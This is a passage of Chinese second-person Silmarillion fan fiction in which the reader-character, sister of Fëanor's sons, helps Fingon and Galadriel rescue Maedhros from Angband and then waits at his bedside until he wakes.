“不……你先别着急。”虽说芬巩也很担心迈兹洛斯的情况,但他的理智告诉他在这件事情上不能太过鲁莽,否则极有可能落入魔苟斯的陷阱,所以他和你得要从长计议。 好吧,芬巩说得也有些道理,于是你们的话题就变成了制定营救迈兹洛斯的计划。 甚至于接下来的几天你都和他凑在一块商量这个计划的详细步骤,玛格洛尔因为每天都要处理领地内的事务,所以对于你和芬巩成天呆在一块也没有什么意见,他对你的要求很低,只要你没离开这里就行。 但凯勒巩就不是这么想的了,他总觉得你和芬巩在密谋什么,而且他每次去找你都看见你和芬巩待在一块,碰见的次数多了,他对芬巩不免有些意见。 “我想我有必要提醒你一句,你不能一直这样霸占弥尔洛斯的时间。”凯勒巩说这话的语气还算友善,因为他听说芬巩一路上非常照顾你,所以他才那么有礼貌的。 “我这应该算不上霸占她的时间吧?”芬巩平静地说道。 如果这都不算霸占时间的话,那还有什么才算呢? 凯勒巩撇撇嘴,“你不是有自己的妹妹吗?” 芬巩这下子明白了, 原来是这位小气的费诺里安觉得是他占用了他和你相处的时间,难怪他的脸色这么难看呢。 “我想你可能误会了,弥尔洛斯非常重视你们,甚至于在穿越冰川的时候,她也时常念叨着你们。” 别看凯勒巩的脾气不太好,但其实只要对症下药,就不至于闹得不愉快,芬巩深谙此理,他很在乎你,那么只要他多说几句你有多关心他们,他心中的怨气也自然而然地消解了。 看吧,凯勒巩的脸色肉眼可见地好转,他的眉眼间甚至还浮现出几分笑意,要不是碍于芬巩在场他估计会直接笑出来的吧。 “真的吗?她真的有经常提起我们吗?”凯勒巩还在一个劲儿地追问。 芬巩的耐心都花在他身上了,他一一回答对方的问题,偶尔还得要说一些详细的细节。 听到最后,本来气势汹汹的凯勒巩居然出奇的平静,他的气势也发生了改变,他说:“好吧……刚才我对你的态度不太好,我想对你说声抱歉。” 真是奇了怪了,凯勒巩居然还会主动对其他精灵道歉,芬巩震惊之余,又在感叹你的哥哥是有多么的在乎你啊。 第115章 第115章“你以为这样就能威胁…… 在芬巩的提醒下你才意识到自己好像冷落了凯勒巩他们很久,为了避免凯勒巩日后扰乱你们的计划,你便找了个机会特意与他坐下长谈。 凯勒巩也不是那么小心眼的精灵,把事情说开了,他也就没有一开始那么生气了,甚至还难得开始自我反思,“我也有做得不对的地方。” 这真是让你感到惊讶,他居然还会反思,可能是你脸上惊讶的神色太明显了,以至于凯勒巩不由地反问:“你那是什么表情啊?难道你觉得我刚才说的不是实话吗?” “我可没有怀疑你的意思。”你连忙辩解,“我只是觉得你似乎变得很多。” “是变成熟了吗?但我本来就很成熟啊。”凯勒巩很自然地接过你的话头,这就又开始自卖自夸了。 看他的样子就知道他根本就没有成熟到哪里去,你说:“差不多是这个意思吧。”反正偶尔也没必要把话说得太清楚,存在一点误会也无伤大雅。 凯勒巩握着你的手,“虽然在此之前发生了很多不愉快的事情,但这并不能剥夺我们追求幸福生活的权利。” 此刻坐在你面前的凯勒巩性格还算活泼开朗,你记得很清楚在第一个副本遇到他的时候他的性情可没有那么明朗,甚至可以用阴郁来形容,这都是他们立下的誓言给他带来无尽折磨的影响,你说:“那你们打算如何夺回那三颗精灵宝钻?你们应该知道的,如果不是实现誓言,你们就会受到誓言的反噬。” 凯勒巩没想到你会突然提起这个话题,说实话他也不知道该如何应对这个问题,他们之前还试图和魔苟斯谈判,但是最后的结果如你所见,就是以迈兹洛斯被俘虏作为代价。 显然和魔苟斯和平谈判这一条路已经走不通了,现在只能使用武力夺取宝钻,可追随他们而来的精灵还没有从维林诺的那场阴影里走出来,更重要的是他们的领袖迈兹洛斯也被俘虏,虽说玛格洛尔接替了迈兹洛斯的位置,但他毕竟不是迈兹洛斯,平日里处理领地内的各类事务已经耗费了他太多的精力。 所以现在说好听点就是养精蓄锐,说得直白一些就是他们无法承担再一次向魔苟斯发起战争的惨重损失。 “至少现在我还没有感受到这种反噬。”凯勒巩似乎是在安慰你,这话又像是说给自己听的。 你原本想问那么未来呢?但是转念一想,既然他们身为当局者都对此不在乎,你又何必再纠结这种问题,于是你就又轻描淡写地跳过这个话题,但在后面的对话中看得出来凯勒巩或多或少有些心不在焉,不再像一开始那样兴致勃勃。 “到时候再把阿瑞蒂尔接过来,她肯定也会喜欢这里的。”凯勒巩除了说自己的弟弟库茹芬,提到最多的就是阿瑞蒂尔了,在他对于未来的设想中,你和阿瑞蒂尔都可以在这片领地上自由自在地生活,虽然这里可能比不上维林诺,但他会尽其所能地满足你们的要求的。 你没有马上回答,凯勒巩还在说:“过两天阿姆罗德还有阿姆拉斯他们也该回来了,他们要是见到你肯定会很高兴的,没准还会激动得掉眼泪呢。” “你不也是见到我的时候差点就要掉眼泪了吗?”你不经意地反问一句,成功让凯勒巩的表情僵住,他支支吾吾地为自己辩解:“我那不是还没有哭出来吗?而且你怎么总是喜欢揪着这件小事不放呢?要我看你才是真正坏脾气的精灵,就等着看我难堪的样子是吗?” 凯勒巩还真说对了一点,你从来不觉得自己是个好脾气的,无论是当人类的时候还是当精灵的时候,你的性格都和好脾气不沾边,但凡了解你的精灵都知道这一点,也就只有与你关系疏远的精灵才会觉得你实在是温和友善,当然,也不排除那种和你走得近同时仍然觉得你温和的精灵,这里你指的就是格洛芬德尔。 你耸耸肩,“我可没那么说,你别误会我啊。” 不过到最后你也没能见到阿姆罗德和阿姆拉斯,因为在他们回来之前你就带着芬巩离开这片精灵领地,与你们一同离开的还有加拉德瑞尔,她那预知能力帮助你们一路上避开了很多敌人的潜伏,也替你们节省了不少时间。 在你们离开的第二天上午,凯勒巩最先发现了你的离开,因为他早上的时候习惯性地去找你共进早餐,但是敲了半天门都没动静,没道理你会睡得那么沉,凯勒巩在等待了一阵子后内心忽然袭来一阵不安,他直接伸出手推开门,朝里面投去一个眼神,他率先看向你的床铺,有些睡过的痕迹,但是你不在上面,凯勒巩一边在你的房间里寻找你,一边呼唤你的名字。 “弥尔洛斯?” 他走到浴室,又敲敲门,门根本就没有关上,随着他敲门的动作,那门也自然而然地出现一条缝,浴室里也不见你的身影,这下子凯勒巩内心的不安彻底坐实,他急匆匆地冲出你的房间,让自己的下属寻找你的踪迹,至于他则是脚步不停地找到还在书房批阅公文的玛格洛尔,他连门都没有敲,直接就推了进去,在书房的不止玛格洛尔还有库茹芬。 后者看到凯勒巩那副惊慌失措的样子就问:“发生了什么事情吗?” 库茹芬也是刚刚回到领地先来找玛格洛尔汇报周边情况,没成想汇报到一半凯勒巩就直接闯了进来。 “非常重要的事情——弥尔洛斯不见了。”凯勒巩的声音都在颤抖。 “那她有可能先回芬国昐那里去了吧,毕竟她得要先和芬国昐打一声招呼再回我们这里定居。”库茹芬显得淡定多了,可凯勒巩的直觉告诉他事情没有那么简单,通过各种蛛丝马迹也可以推测出你没有回芬国昐那里,反而不知所踪了。 “好像不仅仅是她不见了,还有几位客人也不见了。”卡兰希尔不知何时出现在书房的门口,说出的这句话无异于向平静的湖水里投入一块石头,“恰好是芬巩和加拉德瑞尔,他们似乎朝着北方去了。” 听卡兰希尔那么说在场的其他三个精灵一下子就知道你们的目的是什么了,那就是从魔苟斯手中解救迈兹洛斯,可这件事情谈何容易,甚至于他们都无法确认迈兹洛斯是否还活着。 “她是怎么知道迈兹洛斯被俘虏的事情的?”凯勒巩第一想法就是质问谁向你透露这消息的。 库茹芬一看就知道凯勒巩这是在炸毛的边缘徘徊,他看起来平静地说:“你觉得凭她的聪明脑瓜会猜不到迈兹洛斯发生了什么吗?就算你真的想要隐瞒这件事,你也只能瞒一时。” 可他没想到你发现真相的这一天来得那么快,凯勒巩紧抿嘴唇,沉默片刻后转身就走,玛格洛尔站起身,叫住凯勒巩,“你现在就算追过去又能做些什么呢?你觉得仅凭你能够改变她的想法吗?她从来不会为了谁而改变,这一点你我都很清楚。” “所以呢?我们现在就是坐在这里等待她的消息传回来吗?”凯勒巩的言辞尖锐,仿佛是在质问玛格洛尔。 “是的,而且我现在是摄政王,于情于理你都应该听我的。”玛格洛尔一字一顿地说。 凯勒巩有些想笑,“你瞧瞧我们都做了什么,追随父亲来到这里,然后父亲死后兄长又被俘虏,我们还像一群可怜虫那样躲在后方,玛格洛尔,你的确是个合格的摄政王,但有的时候你也得要抛去那极致的理性,想一想曾经的情谊。” 他说的这一番话让玛格洛尔陷入沉默,他说得确实很有道理,玛格洛尔都难以反驳,最后还是卡兰希尔出来打圆场,“你们所持有的观点都有充足的理由来支持,所以请停止对对方的伤害,我想弥尔洛斯也不想看见你们吵架的样子。” 玛格 洛尔揉了揉太阳穴,“如果你要去的话,那就去吧,但有一点要记住,保护好自己。”他这话是对着凯勒巩说的。 刚才针锋相对的气氛逐渐趋于缓和,库茹芬走到凯勒巩身边,拍拍他的肩膀,“走吧,我和你一块去。” 凯勒巩深吸一口气,看向玛格洛尔,“我很抱歉我刚才说了那么重的话。” “这还不算太重,而且我也没有那么斤斤计较。”玛格洛尔挥挥手,表示自己不会在意这些微不足道的小细节的。 凯勒巩和库茹芬的身影消失在书房门后,卡兰希尔又说:“他们会成功吗?”玛格洛尔不清楚他是在问你和加拉德瑞尔还有芬巩是否会成功还是问凯勒巩他们会不会成功。 过了几秒,玛格洛尔说:“如果可以我希望他们都能够成功,毕竟当摄政王可真麻烦,我已经有些厌倦这样的生活了。”要是迈兹洛斯真能够回来就好了。 话音落下,玛格洛尔和卡兰希尔交换了一个眼神,卡兰希尔叹了一口气,“早知道我就早点回来了,现在还是没能见上她一面。”只能说卡兰希尔的运气似乎不太好。 “她还会回来的。”玛格洛尔很肯定地说,对此卡兰希尔不置可否,但愿事情真如玛格洛尔所设想的那样发展。 当凯勒巩和自己的弟弟库茹芬骑马离开精灵领地的时候你和加拉德瑞尔还有芬巩也正朝着安格班前进,只不过你们前进的速度没有一开始那么快了,出于谨慎起见,你提议在靠近安格班的时候就不再骑马而是转为步行,其他两位精灵也是这么想的,你们交换一个眼神就达成一致,在某个隐蔽的角落里从马背上下来。 那几匹马都能听明白你们在说什么,因此都不需要你们下达指令,它们就沿着你们来时的路悄然离去,其实你们现在所处的位置和安格班之间还存在很长一段距离,如果按照你们的脚程,外加还得中途提防暗中潜伏着的敌人,少说也得要半个月,但你知道继续骑马是一种冒险,你可不希望你们因为这个而暴露在魔苟斯的视野里。 好在其他两位精灵也都很谨慎,所以你们基本上都没有产生什么分歧,至少在这支小队伍里一切都很和谐,顶多就是芬巩偶尔会因为担心迈兹洛斯而陷入低落的情绪泥潭里,你起初还能安慰几句,但是到后面你觉得安慰他实在是太浪费时间了,就只能将这个任务交给加拉德瑞尔,后者直言不讳,“在我所能看到的未来里,有一种可能性是你太过失落所以导致救援计划失败。” 加拉德瑞尔说得很严肃,唬得芬巩一愣一愣的,他都忘了自己刚才还在心情失落中,忙不迭地问道:“什么?你看到的未来是这样的吗?” “我只是说有这种可能性而已,所以如果你不希望未来变得那么糟糕,那就振作起来。”说着,加拉德瑞尔拍拍芬巩的肩膀,后者也总算是一扫阴云,重拾信心。 后来你无意中问起这个未来的可能性有多大,只听见加拉德瑞尔狡黠地笑着说:“我并不能看见那么准确的未来,所谓的可能性也只是骗他的,当然我希望你能够替我保密。” 真没想到原来加拉德瑞尔也会说谎,甚至还表现得那么天衣无缝,就连你都被骗到了,你不由地愣了一下,加拉德瑞尔笑盈盈地,“我们不能放任他继续这么心情低落下去,这会影响我们整体的计划,我这也是为了大局考虑。” 听到这里,你也能理解加拉德瑞尔那么做的原因,如果换做你,想必你也会那么做的,你说:“你说的没错,的确需要从大局出发。” 而芬巩从始至终都被你们蒙在鼓里,这个谎言确实使得他不再被这些阴郁的情绪所裹挟。 考虑到隐蔽性,你们挑选了一条地形复杂但是不容易被发现的远路,唯一的坏处就是太远了,和最近的一条路相比较,估计所花费的时间得要差一半,但走那条远路你们可以借助复杂的地形来躲过魔苟斯爪牙的巡逻,甚至还能巧妙地反客为主杀死了不少半兽人。 为了避免引起注意,你杀死半兽人的手法都尽可能悄无声息,或是直接扭断他们的脖子,或是拿起趁手的匕首对着他们背后来一刀,总之这过程几乎没有发出什么声音,在夜幕降临后这里更是你的主场,芬巩和加拉德瑞尔亲眼目睹你如同鬼魅般神出鬼没地杀死了一批半兽人,气氛是那么安静,除了空气中漂浮着的浓重血腥味昭示着这里刚刚发生了一场单方面的杀戮。 在解决最后一个半兽人后你走到河边弯腰清洗双手,洗去上面沾染着的粘稠血液,这些血迹得要尽快洗干净,否则时间一久就会粘附在你的皮肤上,那触感非常诡异,气味也极具刺激性,这都是你在前两个副本杀半兽人得出的经验之谈。 在刚才那场无声的战争中芬巩和加拉德瑞尔也在替你消灭剩下的残兵败将,因此他们的手上也或多或少地沾着些许血液,他们也来到河边清洗双手,宁静的夜晚里唯有河流潺潺流动的声响。 如果不是你们现在正身处安格班附近,你也许会觉得这氛围静谧而美好吧。 把双手洗干净,抖落手指的水珠,而后站起身,你眺望远方,此刻的迈兹洛斯情况到底如何呢? 你望过去的方向恰好被一片崇山峻岭遮挡,而在参天古木后就是悬挂着迈兹洛斯的悬崖,此时的他紧闭双眼,静静地聆听风声,他的神色宁静祥和,但他因为折磨而消瘦的身形却透露出他现在的情况实在是算不得多好,或许他会在不久之后死去,他的灵魂飘回曼督斯殿堂,只是他知道自己罪孽深重,手上甚至还沾染着亲族的鲜血,像他这样的精灵注定无法获得伊露维塔以及众维拉的宽恕。 在这个时候迈兹洛斯很忽然地想起了远在维林诺的你还有母亲奈丹尼尔,至少你没有被卷入这一系列的事情里,至少……你还是安全的,你的生活依旧平静美好,这对深陷险境的迈兹洛斯来说是唯一的慰藉了。 想着想着,他的嘴里轻轻哼唱着当初在维林诺曾经哄你入睡的歌曲,“坠入香甜的梦乡吧,无论你飞得多高多远,当你坠落之时我都会托住你。” “坠入香甜的梦乡吧……”他的嘴唇翕动,那歌声非常微弱,只有他自己能够听见,他想,他现在有些后悔了,那时在立下誓言之前,你握住他的手,是否已经预料到了这一天的到来呢? “可是弥尔洛斯,现在我又该如何是好呢?我已经无法回头了。”迈兹洛斯哽咽着自言自语。 他的歌声停止了,因为这时魔苟斯的爪牙,同时也担任他的军师的索伦来到悬崖边,这次他不是试图从迈兹洛斯嘴里挖出有用的信息,相反地,他极其慷慨地为迈兹洛斯带来了一个“好消息”,“我这里有个消息你肯定会感兴趣的。” 迈兹洛斯默不作声,装作没听见索伦的话语,他之前许多次都是这么对待索伦的,可是这次非比寻常,因为索伦带着十足的把握,他深知自己接下来的话肯定会让迈兹洛斯无比激动的,他笑着说:“你的妹妹弥尔洛斯也来到了中土。” 起初迈兹洛斯没什么反应,他甚至觉得索伦就是在开玩笑,而且还是一个无比粗劣的玩笑,你怎么可能会来到中土呢,你应该待在母亲身边才对,迈兹洛斯的笑容充满嘲讽,他嗤笑一声,“你说谎之前都不打草稿的吗?” 站在悬崖边的索伦居高临下地俯视迈兹洛斯,他那头红色长发似乎变得暗淡了一些,宛若一团即将熄灭的火焰,这让索伦非常满意,他说:“我说的都是真话,嗯,你要是不相信的话,那不妨看看吧。” 话音落下,迈兹洛斯的眼前就浮现出一副连续的画面,那是你跟随芬国昐一同来到贝烈瑞安德大陆的画面, 画面中的你神色中透露出几分憔悴,但你的眼神却是那么明亮,那是他所熟悉的眼神,他可以确定那就是你。 一时之间迈兹洛斯分辨不清这到底是真的还是魔苟斯特意幻化出来用于欺骗他的假象,他沉默了很久,直到索伦再次开口打破这种寂静,他说:“唉,她身为你的妹妹,肯定也是为了你们而来的,但她肯定没想过自己来到这片大陆以后会遇到什么,毕竟这里……充满了危险。”说到后面,索伦的语调放缓,他是故意那么做的,为的就是控制迈兹洛斯的情绪,以此来找到他的破绽。 “这些都是假的。”迈兹洛斯斩钉截铁地说,但他的心里已经有了真正的答案,虽然他也很不想承认,但他刚才看到的画面确实是你,他不明白你怎么也来到了这里,更重要的是,你这一路上又遇到了多少艰难险阻。 他缓慢地眨了一下眼睛,忽然想起自己当初焚烧白船的时候内心极其突兀地涌现出的那份不安,他原以为那是因为这么做了以后无法回头的愧疚,但现在看来,那更像是他与你之间的心有灵犀,他这无异于差点间接杀死了你。 想到这里,迈兹洛斯差点无法控制自己的情绪,他的呼吸都变了,见状,索伦弯下腰,他的声音是那么循循善诱,“不如我们来谈个交易吧?只要你给出有用的信息,我的主人就保证不会伤害她的,唉,我知道你是个合格的兄长,肯定不希望自己的妹妹受伤吧。” 索伦是那么擅长利用精灵的内心,找出他们最在乎的东西然后好好威胁一番,这次他也将这个手段用在迈兹洛斯身上。 “你以为这样就能威胁我了吗?” 第116章 第116章你要离开了吗?” “我威胁你的手段可不止这一个。”索伦气定神闲地说,毕竟现在迈兹洛斯就在他们手里,他多得是能够折磨他的方法,尤其是精神上的折磨。 迈兹洛斯不再说话,索伦轻蔑地瞥了他一眼,在他走后迈兹洛斯仍旧在回忆刚才索伦在他眼前展现出的画面,尽管他嘴上不承认这是真的,但内心还是不可避免地担心起你的安危,如果你真的来到了这片大陆……凭他现在的处境根本无法保护你,他甚至是自身难保。 他睁开眼睛望向远方,他的视野被崇山峻岭所截断,他不知道的是在那片层峦叠嶂后正是你和加拉德瑞尔还有芬巩的身影,不光是迈兹洛斯不知道,就连索伦也没有预料到你会那么大胆地直接闯入安格班,因为在他看来在先前那一场星下之战中精灵损失惨重,他们还失去了诺多的至高王费艾诺,可谓是元气大伤,所以按理来说在这段时间内这些精灵是不会有任何轻举妄动的。 当然,这也是索伦从理性的角度来看待现在的局势,他大概没想到你和其他两位精灵会决定铤而走险吧,不过恰恰是他这份疏忽大意使得你们潜入安格班的行动可以用顺利来形容。 顺利归顺利,你不会因此掉以轻心,甚至反而提高警惕,因为你们距离迈兹洛斯所在的那一处悬崖越来越近了,迈兹洛斯身为魔苟斯的囚犯,而且还不是一般的囚犯,想必在这周围还会有不少的眼线盯着,狡猾如魔苟斯,他怎么可能没料到会有精灵前来营救迈兹洛斯的呢。 此刻的你们站在山脚下,你一抬头就能从树叶的缝隙间见到那座悬崖,你压低声音与加拉德瑞尔还有芬巩交谈,你说:“待会我们先清除这周围的眼线。” 你事先清除眼线这一步走对了,因为你们还真的在这附近的草丛里找出不少个头较小的半兽人,估计是专门用来侦察的兵种,它们的隐蔽性很好,但是武力值远不及那些身量高大的半兽人,你们三个配合得当,三下五除二地就将它们统统解决,你踩着最后一个倒下的半兽人的尸体,从你这个角度看过去,你竟然隐约捕捉到了迈兹洛斯那一缕红发。 还好他是红发,要是换做黑发,在黑夜的笼罩下你发现他的身影都要花费一些力气,还没等你开口,芬巩顺着你的视线看过去,同样也看见了迈兹洛斯的衣角,他一下子激动起来,差点没有控制住自己的音量,“是他!是迈兹洛斯!” 加拉德瑞尔向芬巩递去一个眼神示意他小声一点,你让加拉德瑞尔在这里负责撤退的时候接应你们,至于你和芬巩则是悄无声息地走上那片悬崖。 悬崖上的夜风呼啸而过,吹乱芬巩的长发,你很有先见之明地将自己的长发都扎了起来所以暂时没有这种困扰,你走到悬崖边,朝着下面望去,迈兹洛斯的右手被镣铐钉在悬崖上。 据你所知这个手铐难以毁坏,当初芬巩情急之下只能斩断迈兹洛斯的手腕以此来解救他,但现在情况有所改变,你们的时间还算充足,你站在悬崖边若有所思,芬巩急切地想要将迈兹洛斯拉上来,但你阻止了他的举动,对着他轻轻地摇了摇头,接着你又从自己的背包里拿出事先准备好的精灵绳索。 你将精灵绳索垂下,绳索的一端触及迈兹洛斯的肩膀,你也在这时轻声呼唤他的名字,“迈兹洛斯?迈兹洛斯——快醒醒。” 你的声音仿佛是从天际传来的,迈兹洛斯过了一会才缓缓睁开眼睛,他原以为自己又梦回了维林诺的生活,但是一睁开眼,眼前依旧是一成不变的画面,远处的火山还在不停地腾起黑烟,但是你的呼唤声却并没有随着他醒来而消失,他这才意识到 这很可能不是梦,于是四处张望寻找声源,直到他抬起头看见站在悬崖边缘的你。 “弥尔洛斯……”迈兹洛斯的声音里带着些许恍惚,这到底是真的还是索伦专门制造出来的假象呢?想着,他定定地看着你,眼眶逐渐变得湿润,哪怕只是幻象,此刻也能够成为他的慰藉,“你是真的弥尔洛斯吗?” “是真的,现在没空和你解释这些有的没的了,你还别管我是怎么来到这里,当务之急还是先解救你。” 你那说话的语调和迈兹洛斯记忆中的如出一辙,索伦真的能把幻象做得那么逼真吗?迈兹洛斯陷入沉思,但是在看到站在你身边的芬巩时他终于意识到这很可能不是幻象了,因为就算是索伦估计也想不到你们两个会一同来解救他。 “用你的左手抓住这跳绳子。”你指挥迈兹洛斯抓住绳子,但是迈兹洛斯尝试了一下,他被折磨了太久,身体虚弱,就算紧紧攥住绳子的力气都没有了,他还对你勉强地笑了一下,“抱歉,我没什么力气了。” “现在就不用对我道歉了。”你思考片刻,看来只能把绳子绑在自己身上亲手把迈兹洛斯给救上来了,反正你也不是第一次做这种事情了,站在你身边的芬巩一看你的动作就知道你要做什么了,他说:“等等——这还是太危险了。” 你没有理会芬巩的阻止,直接将绳子的另外一端交到他手里,“接下来就由你负责把我们俩给拉上来了。” 芬巩皱起眉,他还想再说几句的,但是你都没给他说话的机会,直接从悬崖边滑下去,芬巩眼疾手快地紧攥着绳索,他的双手甚至因为紧张还在微微颤抖,你滑到迈兹洛斯身边,凑近看你才发现这位精灵现在的状态比你想象的还要糟糕许多,你单手圈住他的手臂,唯一棘手的问题就是他右手的镣铐了,你抬起头对站在悬崖边的芬巩说:“你后退几步。” 芬巩不明所以,但还是听从你的指挥后退几步,你估算了一下距离感觉差不多了,这才抽出自己腰间的宝剑,这把宝剑当初还是迈兹洛斯亲手为你打造的,削铁如泥,那么刺穿悬崖外壁也不算太难。 虚弱的迈兹洛斯看了一眼你的动作,他想到了什么,你是想要将连接着镣铐的悬崖都敲碎吗? 迈兹洛斯惊讶地问:“你要做什么?” “没什么,就是要把你完好无损地从这里带出去而已。”你的语调很平静,丝毫没有意识到自己的行为有多疯狂,你的话音还没有落下,你就又抽出宝剑,往悬崖外壁上凿出一个大洞来,这时候悬崖边的岩石表面已经出现纵横交错的裂痕,站在上面的芬巩甚至能够感受到石头的松动,更糟糕的是远处的魔苟斯爪牙也被这里的动静吸引,你只能咬着牙加快开凿岩石的动作。 咔哒、咔哒。 错乱的裂缝越来越宽,最后轰然倒塌,芬巩也看准时机把你和迈兹洛斯都给拉了上来,石块坠落发出的动静很快就引来了魔苟斯的注意,你赶忙带着迈兹洛斯离开这里,芬巩用弓箭杀死了几个试图偷袭你们的半兽人。 与此同时原本在安格班宫殿内的索伦也察觉到了外面传来的动乱,他朝着窗外看去,几乎是一眼就捕捉到了你带着迈兹洛斯逃跑的背影,他当机立断将此消息通报给魔苟斯,并让勾斯魔格派出炎魔前去阻拦,勾斯魔格原本还不相信索伦说的话,他就是这样一个蠢货,非得要亲眼所见才能相信,索伦恶狠狠地对勾斯魔格说:“要是等到你发现这一情况,估计他们都已经逃出安格班了。” 勾斯魔格一下子就听出来了索伦这是在嘲讽他,他的脾气也算不上多好,于是也恶声恶气地呛回去,“你这又是什么意思?平日里我可没见你这么紧张过,说实话,我非常怀疑你对主人的忠心!” 最后还是魔苟斯出面才制止了这一场无意义的争论,魔苟斯采纳了索伦的建议让勾斯魔格前去阻拦你和迈兹洛斯以及芬巩。 既然魔苟斯都这么说了,勾斯魔格也无法再反驳什么,只是他心里还存有对索伦的怒气,临走前他狠狠地剜了一眼索伦以此来表达自己的不满。 就算勾斯魔格的动作再快,他们之前还是因为那场争吵耽误了一些时间,因此当他派出炎魔的时候你和迈兹洛斯早就坐在缴获的半兽人马匹上溜之大吉。 勾斯魔格自知是自己搞砸了事情,他心虚的同时又认为是索伦的缘故才会导致这个结果的,因此当他回到安格班的宫殿向魔苟斯汇报情况的时候他说:“如果不是索伦,我也不会被耽搁那么多时间的。” 听到这里索伦差点冷笑出声,所以说这是他的错吗?说到底不还是他这个蠢货自以为是不听他的指挥吗?索伦没好气地反驳,“就算你再怎么找借口,这件事情就是你做错了,是你能力不足。” 勾斯魔格可不会任由索伦这么指责自己的,他又想要反驳回去,但是只听见魔苟斯怒斥一声,“都给我闭嘴——!”这下子无论是勾斯魔格还是索伦都不说话了,他们可不敢触怒正在气头上的魔苟斯。 魔苟斯透过镜子看见你带着迈兹洛斯飞速逃离安格班,那些他派出去的追兵半路上被突然出现的巨鹰拦截,魔苟斯一看就知道那是维拉的旨意,他原以为维拉都已经放弃这些精灵,但是现在看来他还是高兴得太早了,维拉之中尤其是乌欧牟仍然对诺多精灵心存同情。 你骑着马和山脚下的加拉德瑞尔汇合,她说:“这些巨鹰也不知道从何而来,不过他们确实帮了我们的忙。” 你没做声,专心致志地骑着马避开前方半兽人的攻击,得益于巨鹰的帮助,你们逃离安格班的行动居然没有你想象的那么困难,甚至于你们三个都是毫发无损地回到了那片熟悉的精灵领地。 只是你前脚才停下,让守卫将迈兹洛斯送去治疗,后脚卡兰希尔就迎了上来,奇怪地问:“你们没有遇到凯勒巩和库茹芬吗?” “什么?”你一头雾水,但看卡兰希尔的表情你隐约猜到凯勒巩和库茹芬应该是外出去寻找你们了,只是他们的运气不太好没碰见你们,但他们至少也没有正面撞上魔苟斯的追兵。 在卡兰希尔之后到来的是阿姆罗德和阿姆拉斯,他们一见到你就说:“弥尔洛斯,你是从哪里过来的?” “安格班。”你如实回答,“我们把迈兹洛斯给带回来了。” 一时之间这对双生子不知道该惊讶于你的鲁莽还是你的幸运,他们面面相觑,交换了一个眼神,而后说:“那迈兹洛斯呢?” 站旁边的芬巩回答道:“他现在应该正在接受治疗,他的情况不算太好。” 是的,在即将抵达这块精灵领地的时候他甚至昏迷了过去,要不是他还有呼吸你都要怀疑他是否不幸死去了。 “那你们呢?”阿姆拉斯紧张地围着你打转,把你从头到脚观察一遍,确认你没有受伤,但他紧皱的眉头仍旧没有舒展开来,因为他很难想象你这一路上得要遭遇多少的危险,阿姆拉斯顿了顿,他说:“你们能够安全回来就好。” 卡兰希尔瞧了阿姆拉斯一眼,还好,他没有掉眼泪。 后来你又和阿姆罗德还有阿姆拉斯交谈一番,了解到他们前阵子不在就是在为边境的事情苦恼,阿姆罗德说:“要是有迈兹洛斯在的话,估计就不会那么麻烦了。” 好在你把迈兹洛斯给带回来了,这无疑是两件好事,因此说到这句话的时候阿姆罗德的唇角都微微上扬,笑容明媚灿烂,就和他在维林诺时期一样。 迈兹洛斯的伤势需要很长一段时间才能够恢复,甚至一开始他都没能清醒过来一直处于昏迷状态,但周围的精灵都对他安全归来而感到高兴,你甚至还看到不少精灵为此激动落泪,相比之下你的反应就较为平静一些,还没有到落泪的地步。 接下来的几天芬巩和加拉德瑞尔因为要带着先遣队回到芬国昐那里汇报情况,因此就先走一步,至于你则是暂时先留在这里,一来是你也没打算离开,二来你的那几个哥哥也希望你能够一直留在这里,你这么做显然是顺了他们的心意,因此在加拉德瑞尔和芬巩走后那几天,阿姆罗德和阿姆拉斯一直陪伴在你身边,他们和你有说不完的话,有的时候甚至还能聊一整个下午也不觉得无聊。 这样的生活似乎又回到了维林诺时期,除了北方偶尔传来的巨龙吼叫声提醒你这不是维林诺,而是中土大陆,但总的来说现在你唯一需要担心的事情就是迈兹洛斯能否顺利醒来了。 你几乎每天都会去迈兹洛斯的房间看看他,主要是为了查看他的情况,这天你去迈兹洛斯房间的时候只见玛格洛尔正坐在他的床边,听见你的脚步声玛格洛尔回过头来,“他今天的气色看起来好多了。” 你在玛格洛尔身边坐下,他勉强对你挤出一 个笑容,你瞧了一眼,“如果不想笑的话就别笑了,这样不会很累吗?” 闻言,玛格洛尔叹了一口气,感慨道:“你真是越来越不好糊弄了。” 你从小就没有那么容易糊弄的好吗,你在心里嘟哝一声,在迈兹洛斯回来以后玛格洛尔就没再佩戴象征着摄政王的头冠,而是换回他以前经常佩戴的头冠,这样一个小细节的变化足以看出他因为迈兹洛斯的回归而如释重负。 “这不是费诺里安的通病吗?没有一个是好糊弄的。”你扯了扯嘴角,尤其是费艾诺,这是最不好糊弄的精灵了,玛格洛尔听出你这是在开玩笑,他终于露出一个真心实意的笑容,“是啊,费诺里安还真是有不少毛病啊。” “他当初去谈判的时候其实就已经察觉到了什么,他不觉得魔苟斯会那么轻易地交出精灵宝钻,但他还是想要赌一下,不光是为了他自己,更是为了他的弟弟们。”玛格洛尔有些突兀地提及之前迈兹洛斯被魔苟斯骗去谈判的事情,又说到他在临走前特意嘱咐玛格洛尔如果他发生了什么事情,那么剩下的事情就全权交由他来负责。 “可能他早已预料到了自己最糟糕的结局了吧,而我所能做的就只是按照他所说的成为一位摄政王。”说着说着,他的语调和心情都逐渐变得低落,你凝视着他的侧脸,你在思考要不要安慰他,但还没等你开口,他就又说:“所以,你的出现改变了现有的局面,无论是迈兹洛斯还是我都应该感谢你。” 如果真的要感谢的话那就直接把至高王的位置让给你吧,你心想,但现在迈兹洛斯还没有醒过来,你和玛格洛尔说这回事也没用,因此你只是移开视线,慢悠悠地说:“我做这些都是需要报酬的,这可不是无偿的。” 也许玛格洛尔以为你是在开玩笑,又或许他也没想到你索求的东西会是至高王的位置,总之现在的他没把你这话放在心上,他说:“我知道。” 不,他对此一无所知。 这样的生活又持续了一段时间,后来直到你收到来自阿瑞蒂尔的信件,坐在迈兹洛斯床边阅读那封信的时候,躺在床上的迈兹洛斯的呼吸忽然发生了改变,你当即收起信纸看向迈兹洛斯,他的眼睫颤抖了一下,紧接着缓缓睁开双眼,你得承认看见他醒来的那一刻你有些激动,连带着你说话的语调都是微微上扬的,“你醒了?” 迈兹洛斯缓慢地眨了一下眼睛,他的视线转移到你身上,他盯着你看了一会,嘴唇张合,说话的声音很微弱,“原来不是幻觉啊。” 你把信纸塞回信封里,伸出手触碰他的侧脸,尽管修养了一段时间,但他的身形仍旧消瘦,你都没怎么用力,现在的他看起来实在是太脆弱了,和你印象中的他大相径庭,你对此还有些不太适应,你的手指摩挲他的脸颊,“这本来就不是错觉。” 